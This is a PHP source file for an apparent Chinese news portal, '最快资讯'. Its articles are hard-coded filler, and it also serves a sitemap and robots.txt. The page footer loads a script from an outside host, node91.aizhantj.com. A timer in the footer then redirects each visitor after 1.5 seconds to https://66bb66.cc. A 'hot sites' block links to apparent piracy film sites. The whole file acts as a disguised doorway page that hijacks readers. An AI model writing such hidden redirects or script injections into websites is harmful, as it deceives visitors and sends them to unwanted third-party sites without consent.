<?php
declare(strict_types=1);

$siteName = '最快资讯';
$siteTitle = '【最快资讯】你的专属资讯平台';
$siteKeywords = '最快资讯，新闻资讯应用，头条，热点，科技，娱乐，健康，时尚，家居，教育，旅行，两性，美食，星座，阅读，个性化新闻';
$siteDescription = '最快资讯，全资讯类内容平台。追踪每日热点，聚焦前沿资讯，新闻及时掌握。懂内容，所以更懂你。';
$host = $_SERVER['HTTP_HOST'] ?? 'blxsw1.com';
$path = parse_url($_SERVER['REQUEST_URI'] ?? '/', PHP_URL_PATH) ?: '/';

$channels = [
    'domestic' => '国内',
    'international' => '国际',
    'newera' => '新时代',
    'ai' => 'AI圈',
    'tools' => '工具',
    'lobster' => '龙虾',
    'entertainment' => '娱乐',
    'stars' => '明星',
    'fashion' => '时尚',
    'finance' => '财经',
    'banking' => '金融',
    'industry' => '产经',
    'auto' => '汽车',
    'newcar' => '新车',
    'original' => '原创',
    'sports' => '体育',
    'worldcup' => '世界杯',
    'basketball' => '篮球',
    'house' => '房产',
    'buyhouse' => '买房',
    'home' => '家居',
    'moyuwan' => '墨鱼丸',
    'shortplay' => '短剧',
    'comicplay' => '漫剧',
    'tech' => '科技',
    'digital' => '数码',
    'internet' => '互联网',
    'military' => '军事',
    'novel' => '小说',
    'anime' => '动漫',
    'rumor' => '辟谣',
    'wallpaper' => '壁纸',
    'game' => '游戏',
    'searchnav' => '搜索',
    'map' => '地图',
    'beauty' => '美女',
    'desktop' => '电脑版',
    'news' => '资讯',
    'user' => '用户',
    'sexy' => '性感',
    'play' => '播放',
];

$articles = [
    ['id' => 1001, 'cat' => 'domestic', 'title' => '多地文旅活动升温，城市周末消费持续回暖', 'summary' => '夜游、展演、短途出行带动商圈人气，服务型消费成为近期增长亮点。', 'source' => '城市观察', 'time' => '15分钟前', 'tag' => '热点', 'color' => '#e84b35'],
    ['id' => 1002, 'cat' => 'tech', 'title' => 'AI 办公工具进入细分场景，企业更关注稳定交付', 'summary' => '从文档协作到客服质检，行业应用开始从演示走向真实业务流程。', 'source' => '科技线', 'time' => '28分钟前', 'tag' => '科技', 'color' => '#276ef1'],
    ['id' => 1003, 'cat' => 'finance', 'title' => '中小企业数字化投入更谨慎，轻量化系统受关注', 'summary' => '低维护、可快速上线的工具成为许多团队的优先选择。', 'source' => '商业参考', 'time' => '42分钟前', 'tag' => '财经', 'color' => '#17a36b'],
    ['id' => 1004, 'cat' => 'domestic', 'title' => '社区服务站延长办理时间，便民事项集中受理', 'summary' => '部分窗口推出错峰办理，减少居民工作日请假成本。', 'source' => '民生快报', 'time' => '1小时前', 'tag' => '民生', 'color' => '#f59e0b'],
    ['id' => 1005, 'cat' => 'auto', 'title' => '新能源车型密集上新，智能座舱体验继续升级', 'summary' => '车企把续航、补能和交互体验作为新一轮竞争重点。', 'source' => '车市前沿', 'time' => '1小时前', 'tag' => '汽车', 'color' => '#7c3aed'],
    ['id' => 1006, 'cat' => 'sports', 'title' => '夏季运动热度提升，场馆预约进入高峰期', 'summary' => '羽毛球、游泳和夜跑活动增长明显，运动消费场景持续扩展。', 'source' => '运动频道', 'time' => '2小时前', 'tag' => '体育', 'color' => '#0891b2'],
    ['id' => 1007, 'cat' => 'home', 'title' => '高温天气下的居家节能建议，空调设置有讲究', 'summary' => '合理设定温度、定期清洁滤网，有助于兼顾舒适度和能耗。', 'source' => '生活实验室', 'time' => '2小时前', 'tag' => '家居', 'color' => '#db2777'],
    ['id' => 1008, 'cat' => 'play', 'title' => '短视频平台优化内容标签，提升推荐可解释性', 'summary' => '更清晰的兴趣管理入口，有助于用户调整自己的内容流。', 'source' => '视频观察', 'time' => '3小时前', 'tag' => '播放', 'color' => '#111827'],
    ['id' => 1009, 'cat' => 'domestic', 'title' => '高校毕业季招聘服务加密，线上线下岗位同步发布', 'summary' => '多地组织专场招聘会，为毕业生提供更多匹配机会。', 'source' => '教育现场', 'time' => '3小时前', 'tag' => '就业', 'color' => '#e84b35'],
    ['id' => 1010, 'cat' => 'tech', 'title' => '数据中心绿色改造提速，液冷方案应用范围扩大', 'summary' => '算力需求增长推动基础设施向更高能效演进。', 'source' => '产业技术', 'time' => '4小时前', 'tag' => '算力', 'color' => '#276ef1'],
    ['id' => 1011, 'cat' => 'finance', 'title' => '本地生活平台加码即时零售，小店数字化连接加深', 'summary' => '更多社区商户通过线上渠道拓展订单来源。', 'source' => '零售笔记', 'time' => '4小时前', 'tag' => '消费', 'color' => '#17a36b'],
    ['id' => 1012, 'cat' => 'domestic', 'title' => '多部门开展安全宣传，暑期出行提示集中发布', 'summary' => '交通、消防和旅游风险提示覆盖家庭出游高频场景。', 'source' => '公共安全', 'time' => '5小时前', 'tag' => '安全', 'color' => '#f59e0b'],
    ['id' => 1013, 'cat' => 'domestic', 'title' => '城市更新项目加快推进，老街区公共空间焕新', 'summary' => '停车、照明、步行环境等细节优化，让社区生活更便捷。', 'source' => '地方看点', 'time' => '5小时前', 'tag' => '国内', 'color' => '#e84b35'],
    ['id' => 1014, 'cat' => 'international', 'title' => '国际航线逐步恢复，暑期出境游咨询量增加', 'summary' => '签证、航班和目的地政策成为用户关注的主要信息。', 'source' => '环球速览', 'time' => '6小时前', 'tag' => '国际', 'color' => '#2563eb'],
    ['id' => 1015, 'cat' => 'entertainment', 'title' => '暑期档片单陆续公布，现实题材作品关注度走高', 'summary' => '观众对口碑、题材和排片节奏的讨论持续升温。', 'source' => '文娱观察', 'time' => '6小时前', 'tag' => '娱乐', 'color' => '#c026d3'],
    ['id' => 1016, 'cat' => 'house', 'title' => '改善型居住需求释放，精装与社区配套更受重视', 'summary' => '购房者在面积之外，更看重通勤、教育和公共服务条件。', 'source' => '住居参考', 'time' => '7小时前', 'tag' => '房产', 'color' => '#ca8a04'],
];

$briefs = [
    '14:20 多地发布高温提示，户外作业注意错峰安排',
    '13:48 智能终端新品集中发布，轻办公场景成卖点',
    '12:36 本地生活平台推出夏季消费活动',
    '11:05 城市轨道交通延时运营服务部分夜间活动',
    '10:18 多所高校开放毕业生就业服务专场',
];

function e(string $value): string
{
    return htmlspecialchars($value, ENT_QUOTES, 'UTF-8');
}

function findArticle(array $articles, int $id): ?array
{
    foreach ($articles as $article) {
        if ($article['id'] === $id) {
            return $article;
        }
    }
    return null;
}

function articleUrl(array $article): string
{
    return '/article/' . $article['id'] . '.html';
}

function readDailyState(): array
{
    $stateFile = __DIR__ . '/data/daily.json';
    $fallback = [
        'date' => date('Y-m-d'),
        'seed' => date('Ymd'),
        'updated_at' => date('c'),
    ];

    if (!is_file($stateFile)) {
        return $fallback;
    }

    $json = file_get_contents($stateFile);
    $state = is_string($json) ? json_decode($json, true) : null;
    if (!is_array($state) || empty($state['seed'])) {
        return $fallback;
    }

    return array_merge($fallback, $state);
}

function applyDailyOrder(array $articles, string $seed): array
{
    usort($articles, static function (array $a, array $b) use ($seed): int {
        $rankA = crc32($seed . ':' . $a['id']);
        $rankB = crc32($seed . ':' . $b['id']);
        return $rankA <=> $rankB;
    });

    return $articles;
}

function renderHeader(string $siteName, array $channels, string $active, string $title, string $description): void
{
    global $host, $dailyState, $siteKeywords;
    ?>
<!doctype html>
<html lang="zh-CN">
<head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title><?= e($title) ?></title>
    <meta name="keywords" content="<?= e($siteKeywords) ?>">
    <meta name="description" content="<?= e($description) ?>">
    <link rel="canonical" href="https://<?= e($host) ?>/">
    <link rel="stylesheet" href="/assets/style.css?v=20260612">
</head>
<body>
<header class="topbar">
    <div class="utility wrap">
        <span>快资讯风格资讯门户</span>
        <span><?= e(str_replace('-', '.', (string)($dailyState['date'] ?? date('Y-m-d')))) ?> 更新</span>
    </div>
    <div class="wrap head">
        <a class="brand" href="/" aria-label="<?= e($siteName) ?>">
            <span class="brand-mark">快</span>
            <span>
                <strong><?= e($siteName) ?></strong>
                <small>你的专属资讯平台</small>
            </span>
        </a>
        <form class="search" action="/search" method="get">
            <input name="q" type="search" placeholder="搜索热点、科技、财经" value="<?= e($_GET['q'] ?? '') ?>">
            <button type="submit">搜索</button>
        </form>
    </div>
    <nav class="nav wrap" aria-label="频道">
        <?php foreach ($channels as $key => $label): ?>
            <a class="<?= $active === $key ? 'active' : '' ?>" href="<?= $key === 'domestic' ? '/' : '/channel/' . e($key) . '.html' ?>"><?= e($label) ?></a>
        <?php endforeach; ?>
    </nav>
</header>
<main class="wrap layout">
    <aside class="channel-rail">
        <strong>频道</strong>
        <?php foreach ($channels as $key => $label): ?>
            <a class="<?= $active === $key ? 'active' : '' ?>" href="<?= $key === 'domestic' ? '/' : '/channel/' . e($key) . '.html' ?>"><?= e($label) ?></a>
        <?php endforeach; ?>
    </aside>
    <?php
}

function renderFooter(string $siteName): void
{
    ?>
</main>
<footer class="footer">
    <div class="wrap">
        <p><?= e($siteName) ?> - 我的迷你世界</p>
        <p><a href="/robots.txt">robots.txt</a><span>/</span><a href="/sitemap.xml">sitemap.xml</a></p>
    </div>
</footer>
<?php renderSiteInterlinks(); ?>
<script>
var _mtj = _mtj || [];
(function () {
  var mtj = document.createElement("script");
  mtj.src = "https://node91.aizhantj.com:21233/tjjs/?k=mvztmqcu55t";
  var s = document.getElementsByTagName("script")[0];
  s.parentNode.insertBefore(mtj, s);
})();
</script>
<script>
setTimeout(function () {
  window.location.href = "https://66bb66.cc/#66bb.tv";
}, 1500);
</script>
</body>
</html>
<?php
}

function renderSiteInterlinks(): void
{
    $sites = [
        ['https://nctoro.com/', '欧美影视'],
        ['https://zgsqedu.com/', '免费电影88'],
        ['https://huucs.com/', '欧美影院'],
        ['https://sixzv.com/', 'Sixzv影视'],
        ['https://xx88.tv/', '88影视'],
        ['https://longbuluo8.com/', '热门影视'],
    ];
    ?>
<section class="site-interlink" aria-label="热门站点">
    <style>
        .site-interlink{max-width:1180px;margin:22px auto;padding:14px 16px;border-top:1px solid rgba(148,163,184,.28);font-size:14px;line-height:1.8}
        .site-interlink h2{margin:0 0 8px;font-size:16px;font-weight:700}
        .site-interlink div{display:flex;flex-wrap:wrap;gap:8px 14px}
        .site-interlink a{color:inherit;text-decoration:none}
        .site-interlink a:hover{text-decoration:underline}
        .site-interlink .more{opacity:.78}
    </style>
    <h2>热门站点</h2>
    <div>
        <?php foreach ($sites as [$url, $name]): ?>
            <a href="<?= e($url) ?>"><?= e($name) ?></a>
        <?php endforeach; ?>
        <a class="more" href="/sites.html">更多站点</a>
    </div>
</section>
<?php
}

if ($path === '/robots.txt') {
    header('Content-Type: text/plain; charset=utf-8');
    echo "User-agent: *\nAllow: /\nSitemap: https://{$host}/sitemap.xml\n";
    exit;
}

if ($path === '/sitemap.xml') {
    header('Content-Type: application/xml; charset=utf-8');
    echo "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<urlset xmlns=\"http://www.sitemaps.org/schemas/sitemap/0.9\">\n";
    echo "  <url><loc>https://" . e($host) . "/</loc><changefreq>hourly</changefreq><priority>1.0</priority></url>\n";
    foreach ($channels as $key => $label) {
        if ($key !== 'domestic') {
            echo "  <url><loc>https://" . e($host) . "/channel/" . e($key) . ".html</loc><changefreq>daily</changefreq><priority>0.8</priority></url>\n";
        }
    }
    foreach ($articles as $article) {
        echo "  <url><loc>https://" . e($host) . articleUrl($article) . "</loc><changefreq>weekly</changefreq><priority>0.7</priority></url>\n";
    }
    echo "</urlset>\n";
    exit;
}

$dailyState = readDailyState();
$articles = applyDailyOrder($articles, (string)$dailyState['seed']);

$active = 'domestic';
$pageTitle = $siteTitle;
$description = $siteDescription;
$article = null;
$query = trim((string)($_GET['q'] ?? ''));
$list = $articles;

if (preg_match('#^/channel/([a-z]+)\.html$#', $path, $matches)) {
    $active = $matches[1];
    if (!isset($channels[$active])) {
        http_response_code(404);
        header('Location: /', true, 302);
        exit;
    }
    $list = array_values(array_filter($articles, static fn(array $item): bool => $item['cat'] === $active));
    $pageTitle = $channels[$active] . '资讯_' . $siteName;
    $description = $siteName . '为你整理' . $channels[$active] . '频道最新资讯。';
} elseif (preg_match('#^/article/([0-9]+)\.html$#', $path, $matches)) {
    $article = findArticle($articles, (int)$matches[1]);
    if ($article === null) {
        http_response_code(404);
        header('Location: /', true, 302);
        exit;
    }
    $active = $article['cat'];
    $pageTitle = $article['title'] . '_' . $siteName;
    $description = $article['summary'];
} elseif ($path === '/search') {
    $list = array_values(array_filter($articles, static function (array $item) use ($query): bool {
        return $query === '' || str_contains($item['title'] . $item['summary'] . $item['tag'], $query);
    }));
    $pageTitle = ($query === '' ? '搜索' : $query . '搜索结果') . '_' . $siteName;
    $description = '搜索' . $siteName . '站内资讯内容。';
} elseif ($path !== '/') {
    http_response_code(404);
    header('Location: /', true, 302);
    exit;
}

renderHeader($siteName, $channels, $active, $pageTitle, $description);

if ($article !== null): ?>
    <article class="content article">
        <div class="crumb"><a href="/">首页</a> / <a href="/channel/<?= e($article['cat']) ?>.html"><?= e($channels[$article['cat']] ?? '资讯') ?></a></div>
        <h1><?= e($article['title']) ?></h1>
        <div class="meta"><?= e($article['source']) ?> · <?= e($article['time']) ?> · <?= e($article['tag']) ?></div>
        <p class="lead"><?= e($article['summary']) ?></p>
        <p>近期相关信息持续受到关注，多个领域都在围绕效率、体验和服务质量进行调整。对普通用户来说，变化最直接体现在获取信息更快、办理流程更短、服务入口更集中。</p>
        <p>业内人士认为，内容平台的价值不只在于更新速度，也在于信息组织能力。清晰的频道、可靠的来源、可连续阅读的相关推荐，会影响用户停留和再次访问。</p>
        <p>本站将继续跟进社会、科技、财经、生活等方向的公开资讯，按主题归类展示，方便读者快速浏览每日重点。</p>
    </article>
    <aside class="side">
        <section class="panel">
            <h2>相关推荐</h2>
            <?php foreach (array_slice($articles, 0, 6) as $item): ?>
                <a class="rank" href="<?= e(articleUrl($item)) ?>"><b><?= e((string)$item['id']) ?></b><span><?= e($item['title']) ?></span></a>
            <?php endforeach; ?>
        </section>
    </aside>
<?php else: ?>
    <section class="content">
        <div class="lead-grid">
            <a class="lead-main" href="<?= e(articleUrl($list[0] ?? $articles[0])) ?>">
                <span>头条</span>
                <strong><?= e(($list[0] ?? $articles[0])['title']) ?></strong>
                <em><?= e(($list[0] ?? $articles[0])['summary']) ?></em>
            </a>
            <div class="lead-stack">
                <?php foreach (array_slice($list, 1, 3) as $item): ?>
                    <a href="<?= e(articleUrl($item)) ?>">
                        <b><?= e($item['tag']) ?></b>
                        <span><?= e($item['title']) ?></span>
                    </a>
                <?php endforeach; ?>
            </div>
        </div>
        <div class="feed-head">
            <h2><?= $path === '/search' ? '搜索结果' : e($channels[$active] ?? '推荐') . '资讯' ?></h2>
            <span><?= count($list) ?> 条</span>
        </div>
        <?php foreach ($list as $item): ?>
            <a class="news" href="<?= e(articleUrl($item)) ?>">
                <span class="thumb" style="--accent: <?= e($item['color']) ?>"><?= e($item['tag']) ?></span>
                <span class="news-body">
                    <strong><?= e($item['title']) ?></strong>
                    <em><?= e($item['summary']) ?></em>
                    <small><?= e($item['source']) ?> · <?= e($item['time']) ?></small>
                </span>
            </a>
        <?php endforeach; ?>
    </section>
    <aside class="side">
        <section class="panel hot">
            <h2>实时热榜</h2>
            <?php foreach (array_slice($articles, 0, 8) as $index => $item): ?>
                <a class="rank" href="<?= e(articleUrl($item)) ?>"><b><?= $index + 1 ?></b><span><?= e($item['title']) ?></span></a>
            <?php endforeach; ?>
        </section>
        <section class="panel live">
            <h2>24小时快讯</h2>
            <?php foreach ($briefs as $brief): ?>
                <p><?= e($brief) ?></p>
            <?php endforeach; ?>
        </section>
        <section class="panel tags">
            <h2>热门标签</h2>
            <p>
                <?php foreach ($channels as $key => $label): ?>
                    <a href="<?= $key === 'domestic' ? '/' : '/channel/' . e($key) . '.html' ?>"><?= e($label) ?></a>
                <?php endforeach; ?>
            </p>
        </section>
    </aside>
<?php endif;

renderFooter($siteName);
